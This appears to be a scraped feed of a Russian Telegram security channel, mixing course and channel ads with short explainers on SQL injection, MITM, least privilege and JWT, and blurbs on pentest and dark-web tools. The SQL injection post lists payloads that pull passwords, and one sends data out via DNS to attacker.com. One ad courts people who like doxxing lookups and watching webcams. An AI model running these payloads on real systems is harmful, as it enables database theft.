CodeGuard: PySec Edition

👨‍💻Хочешь расти в IT, но некогда читать простыни текста? Lab IT — короткие разборы, полезные приёмы и понятные объяснения. Всё для тех, кто работает в IT прямо сейчас. ➡️ https://t.me/+ZUhr3zFZWk9mY2My

🌍 OSINT International: гигантская коллекция ссылок по 50+ странам мира Сборник ресурсов для OSINT-исследований, где собраны карты, реестры, базы данных и полезные ссылки по множеству стран. Всё в одном месте, разбито по странам. Что внутри:

Карты — топографические, спутниковые, исторические, кадастровые

Реестры — юридические лица, недвижимость, судебные дела, патенты

СМИ и соцсети — локальные новостные ресурсы, поиск по людям

Госструктуры — сайты министерств, ведомств, открытые данные

Статистика — демография, экономика, транспорт, инфраструктура

🔗 Ссылка: OSINT International 😈 CodeGuard: PySec Edition | Чат

📘 DevOps-инженер: от основ до продакшена — новый курс на Mentorix Пишете код, но деплой и прод — чёрный ящик? Курс про инженерию эксплуатации: от первого сервера до автоматизированной CI/CD-инфраструктуры, которая держит нагрузку и не падает. ⚙️ Стек: Docker, Kubernetes, Ansible, Terraform, CI/CD, Prometheus + Grafana, логи ELK 🧩 Задания с автопроверкой + лабы в настоящем терминале 💻 Финальный проект в портфолио 🎓 Сертификат · доступ навсегда 🏷 −35% по промокоду DEVOPS35 — только 48 часов 13 990 ₽ → 9 094 ₽ ➜ Забрать курс со скидкой ━━━━━━━━━━━━━━ 🎁 А ещё на платформе — бесплатные курсы: Языки программирования ⚡ Golang — основы языка 🦀 Rust — основы языка 🐍 Основы Python Инфраструктура и DevOps 🖥 Основы DevOps 🐳 Docker: первые шаги 🔧 Git для начинающих Базы данных • SQL с нуля • MongoDB с нуля 📚 Все бесплатные курсы Mentorix

Надо видос? ❤️ — Да! 👍 — Нет 😈 CodeGuard: PySec Edition | Чат

😈 CodeGuard: PySec Edition | Чат

Привет. Вот тебе самые топовые каналы по IT! ⚙️ Dev Boost — Самая огромная коллекция платных курсов, которые можно скачать бесплатно; 👩‍💻 IT Books — Самая огромная библиотека книг; 💻 Hacking & InfoSec Base — Крутой блог белого хакера; 🛡 CyberGuard — Всё про ИБ; 🤔 ИБ Вакансии — Всё, чтобы найти работу в ИБ; 👩‍💻 linux administration — Всё про Линукс; 📲 В Max тоже есть место для линуксоидов; 👩‍💻 Программистика — Python, python и ещё раз python; 👩‍💻 GameDev Base — Всё про GameDev; 😆 //code — Самые топовые мемы по IT: 📲 Мы в Max; Подпишись, чтобы не потерять!

🛡 Как ТСПУ ловит VLESS в 2026 и почему XHTTP — следующий шаг Статья разбирает методы детекции, которые работают прямо сейчас. Если ваш VLESS+Reality сервер лёг в последние месяцы — вы не один. В сообществах фиксируют волны блокировок, которые раньше не достигали хорошо настроенных Reality-серверов. Как ТСПУ видят VLESS:

JA3/JA4-отпечатки — TLS-рукопожатие имеет уникальные характеристики, которые можно детектировать

Поведенческий анализ — даже при шифровании, паттерны трафика (размер пакетов, тайминги) могут выдать прокси

Сертификаты — даже если они "поддельные", методы анализа становятся умнее

XHTTP — что это:

Новая транспортная обёртка, маскирующая прокси-трафик под обычный HTTP/3

Использует QUIC, который сложнее анализировать

Разработан для противодействия именно поведенческому анализу

➡️ Полная статья 😈 CodeGuard: PySec Edition | Чат

Если ты любишь пр0бив, OSINT-разведку и чекать вебки, то тебе в этот канал по гитхабу👇🏻 https://t.me/+qwZdeiSYXzRiNzdi

💡 SQL-инъекция: От UNION до кражи данных через DNS Все знают ' OR '1'='1, но SQLi — это целый спектр техник. Разберём эволюцию от классики до скрытых атак. 🔍 1. UNION-based — когда результат виден Работает, если данные из запроса выводятся на страницу (список пользователей, посты). Позволяет "дописать" свой запрос к оригинальному и увидеть результат.

' UNION SELECT username, password FROM users-- 

Суть: Крадём данные напрямую из интерфейса. 🎭 2. Blind (Слепая) — когда результат не виден Приложение не показывает данные, но его поведение меняется. Атакующий задаёт вопросы "да/нет":

' AND (SELECT SUBSTRING(password,1,1) FROM users)='a'-- 

Если условие верно — страница загружается нормально, если нет — с ошибкой или пустая. Так посимвольно угадываем пароли. ⏱️ 3. Time-based — слепая, но с таймером Разновидность слепой, где ответ — это задержка.

' AND IF((SELECT password) LIKE 'a%', SLEEP(5), 0)-- 

Если первый символ пароля — a, сервер "заснёт" на 5 секунд. Долгий ответ = угадали. 🌐 4. Out-of-band (DNS-экфильтрация) — хитрый обход Когда ничто не помогает, заставляем саму базу данных отправить нам данные. Через DNS-запрос.

sql
' UNION SELECT LOAD_FILE('\\\\'(SELECT password)'.attacker.com\\test')-- 

Как работает:

СУБД пытается прочитать "файл" по пути \\<украденный_пароль>.attacker.com\test.

Для этого она делает DNS-запрос к домену attacker.com.

В логах DNS-сервера злоумышленник видит полный запрос: <украденный_пароль>.attacker.com.

Данные украдены.

💎 Итог:

UNION — если виден вывод.

Blind — если есть косвенная реакция.

DNS-атака — когда другие методы бессильны, но можно выполнить произвольный запрос.

Защита — не только фильтрация кавычек, а параметризованные запросы, минимальные права БД и мониторинг DNS.

😈 CodeGuard: PySec Edition | Чат

☁️ Moltworker: запустите Moltbot в облаке Cloudflare без лишнего железа Если у вас нет мощного ПК для локального запуска ИИ-ассистента, теперь есть решение. Moltworker разворачивает Moltbot прямо в облаке Cloudflare — всегда доступен, стабилен, не требует от вас никаких серверов. Что это даёт:

Работает 24/7 без вашего вмешательства

Не нужно покупать железо

Использует инфраструктуру Cloudflare Workers

🔗 GitHub: Moltworker 😈 CodeGuard: PySec Edition | Чат

🌑 Robin: ИИ-инструмент для поиска в даркнете Вместо ручного поиска по .onion-сайтам Robin сам формулирует запросы и собирает данные из открытых источников даркнета. Что умеет:

Автоматический поиск по даркнет-ресурсам

Генерация запросов через ИИ

Работа через командную строку

Лёгкая настройка

🔗 GitHub: Robin 😈 CodeGuard: PySec Edition | Чат

Ваш пароль почти наверняка уже утёк. Вопрос только в том, подходит ли он к остальным вашим аккаунтам. Базы с почтами и паролями утекают каждую неделю. Дальше работает робот: берёт вашу пару «почта + пароль» и пробует её везде — от маркетплейсов до Госуслуг. СУРОК Safe — российский менеджер паролей: генерирует надёжные пароли, хранит их зашифрованными. Работает в браузере, на телефоне и на компьютере. Серверы в России, оплата нашей картой. Помнить нужно один пароль. Остальные пусть помнит сурок 👉 https://tglink.io/afdba1222b8847?erid=2W5zFHZ9eaMtelegain

🔐 MITM: «человек посередине» Классика кибератак, которая не стареет. 🎯Суть

Злоумышленник встраивается между вами и сервером. Вы думаете, что общаетесь с сайтом, а на самом деле — с хакером. Он читает, меняет и передаёт данные дальше. Незаметно.

Как ловят чаще всего? ⚠️ Человек-в-браузере (Man-in-the-Browser)

Особо опасная модификация. Вредонос сидит прямо в вашем браузере и перехватывает данные после того, как вы прошли шифрование. HTTPS бессилен, сертификаты в порядке, а хакер уже смотрит, что вы вводите в формы.

🛡 Защита

Не игнорировать ошибки сертификатов.

VPN в открытых сетях.

HTTPS Everywhere и внимательность к адресной строке.

Обновления — патчи закрывают дыры, через которые ставят снифферы.

💎 Итог: MITM — атака на доверие. Вам кажется, что вы говорите с банком. А вы говорите с тем, кто прикинулся банком. 😈 CodeGuard: PySec Edition | Чат

👩‍💻 Всем программистам посвящается! Вот 14 авторских обучающих IT каналов по самым востребованным областям программирования: Выбирай своё направление: 👩‍💻 Python — t.me/python_ready 🤔 InfoSec & Хакинг — t.me/hacking_ready 🖥 SQL & Базы Данных — t.me/sql_ready 👩‍💻 IT Новости — t.me/it_ready 🤖 AI & ML — t.me/neuro_ready 👩‍💻 Frontend — t.me/frontend_ready 👩‍💻 C/C++ — https://t.me/cpp_ready 👩‍💻 C# & Unity — t.me/csharp_ready 👩‍💻 Linux — t.me/linux_ready 👩‍💻 Java — t.me/java_ready 📖 IT Книги — t.me/books_ready 📱 JavaScript — t.me/javascript_ready 🖼️ DevOps — t.me/devops_ready 🖥 Design — t.me/design_ready 📌 Гайды, шпаргалки, задачи, ресурсы и фишки для каждого языка программирования!

🤖 PentAGI: мультиагентная система для автоматического пентеста Инструмент, который использует агентов на базе GPT, Claude или DeepSeek для проведения пентеста. Агенты работают с инструментами из Kali Linux (20+ утилит), сами принимают решения и выполняют задачи. Что умеет:

Мультиагентная архитектура — разные агенты занимаются разведкой, сканированием, эксплуатацией

Использует инструменты Kali (Nmap, Metasploit, Hydra и другие) из докер-образа

Управляющие модели: GPT, Claude, DeepSeek (на выбор)

Красивый GUI + мониторинг через Grafana/Prometheus

Можно наблюдать за действиями агентов в реальном времени

🔗 GitHub: PentAGI

Она попросила показать мой Python. Я показал один скрипт — теперь спрашивает, где я этому научился. Скидываю тот самый канал 👇 https://t.me/+4JMC2nmtaXBjMjli

🔐Основы безопасности: что такое принцип наименьших привилегий (PoLP) Один из фундаментальных принципов ИБ, который звучит просто: каждый пользователь или программа должны иметь ровно столько прав, сколько нужно для работы — и ни граммом больше. 🎯 Как это работает в реальности?

Пользователи: Менеджеру не нужен доступ к серверным логам. Бухгалтеру — к репозиторию с кодом. Если учётка менеджера будет скомпрометирована, злоумышленник не получит доступ к критической инфраструктуре.

Приложения: Веб-серверу не нужны права root. Он должен запускаться от отдельного пользователя с доступом только к своим директориям. Если взломают сайт — хотя бы систему не положат.

Сервисы и демоны: Каждый сервис должен работать под своей учётной записью, а не под общей. Тогда компрометация одного не приведёт к падению всего.

🛡Где это нарушают чаще всего?

Запуск всего под root — «чтобы работало быстрее».

Выдача прав всем на всё — «чтобы не дёргать по мелочам».

Одна учётка для всей команды — «root — он общий».

🛠 Как внедрить? ➡️Аудит: Проверить, у кого какие права. Удивиться. ➡️Разделение: Создать отдельных пользователей под каждую задачу. ➡️Минимизация: Выдавать права только на чтение там, где не нужно писать. ➡️Регулярная проверка: Права имеют свойство накапливаться. 💎 Итог: PoLP — это не про недоверие к людям. Это про минимизацию ущерба, если учётку украдут. Чем меньше прав у скомпрометированного аккаунта — тем меньше боли у компании. 😈 CodeGuard: PySec Edition | Чат

😈 CodeGuard: PySec Edition | Чат

АЙТИШНИКИ, ХВАТИТ сливать время на прилизанные новости и бесполезные курсы Проект «ИИнтеллигенция» стал главным каналом для тех, кто использует нейросети на уровне разработки, автоматизации и опенсорса, а не просто балуется в чатах. Здесь собирают только то, что реально экономит человеко-часы и работает в проде. 🎓 Готовые ИИ-сервисы, промпты и ИИ-агенты для автоматизации рутины 🖋 Разборы полезных ИИ-инструментов, локальных LLM и опенсорс-репозиториев 🛠 Практические кейсы, гайды по деплою моделей и интеграции ИИ в пайплайны ⚡️ Технические ИТ-новости без маркетинговой воды и душных отчетов Обучение и прокачка в реальном времени: работа с API (Claude, GPT), локалки (Ollama, vLLM), автоматизация кода, опенсорс-утилиты, AI-агенты и др. Ценишь время и работаешь с ИИ, подпишись: @clucai

🔑 JWT: Цифровой паспорт в мире Web, который можно подделать Когда вы входите в приложение, вам часто выдают не обычную куку, а JSON Web Token (JWT) — компактный и самодостаточный токен, который содержит всю информацию о сессии прямо внутри себя. 🤔 Зачем нужен JWT и как он устроен? JWT создан для статусlessness — серверу не нужно хранить сессию в памяти. Он просто проверяет подпись токена и верит данным внутри. Токен состоит из трёх частей, разделённых точками: Header.Payload.Signature

Header (Заголовок): Обычно {"alg": "HS256", "typ": "JWT"}. Указывает алгоритм подписи (HS256, RS256, none) и тип.

Payload (Полезная нагрузка): JSON-объект с утверждениями (claims). Например: {"sub": "user123", "name": "Vasya", "admin": false, "iat": 1516239022}.

Signature (Подпись): Криптографическая подпись, которая гарантирует, что токен не был изменён. Создаётся путём хеширования base64UrlEncode(header) + "." + base64UrlEncode(payload) с использованием секретного ключа (для HS256) или приватного ключа (для RS256).

Пример токена: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c 🛡Как защититься? Основные правила

Никогда не доверяйте alg из токена. Жёстко задавайте алгоритм проверки на сервере.

Всегда проверяйте подпись перед чтением payload.

Используйте сложные, случайные секретные ключи для HS256.

Проверяйте все claims в payload: iss (issuer), aud (audience), exp (expiration time). Не используйте none в продакшене.

Храните приватные ключи в безопасности, публичные ключи — в доверенных источниках.

Валидируйте параметр kid, запрещая пути и URL.

💎 Итог: JWT — мощный и удобный стандарт, но его «самодостаточность» — палка о двух концах. Одна ошибка в реализации 😈 CodeGuard: PySec Edition | Чат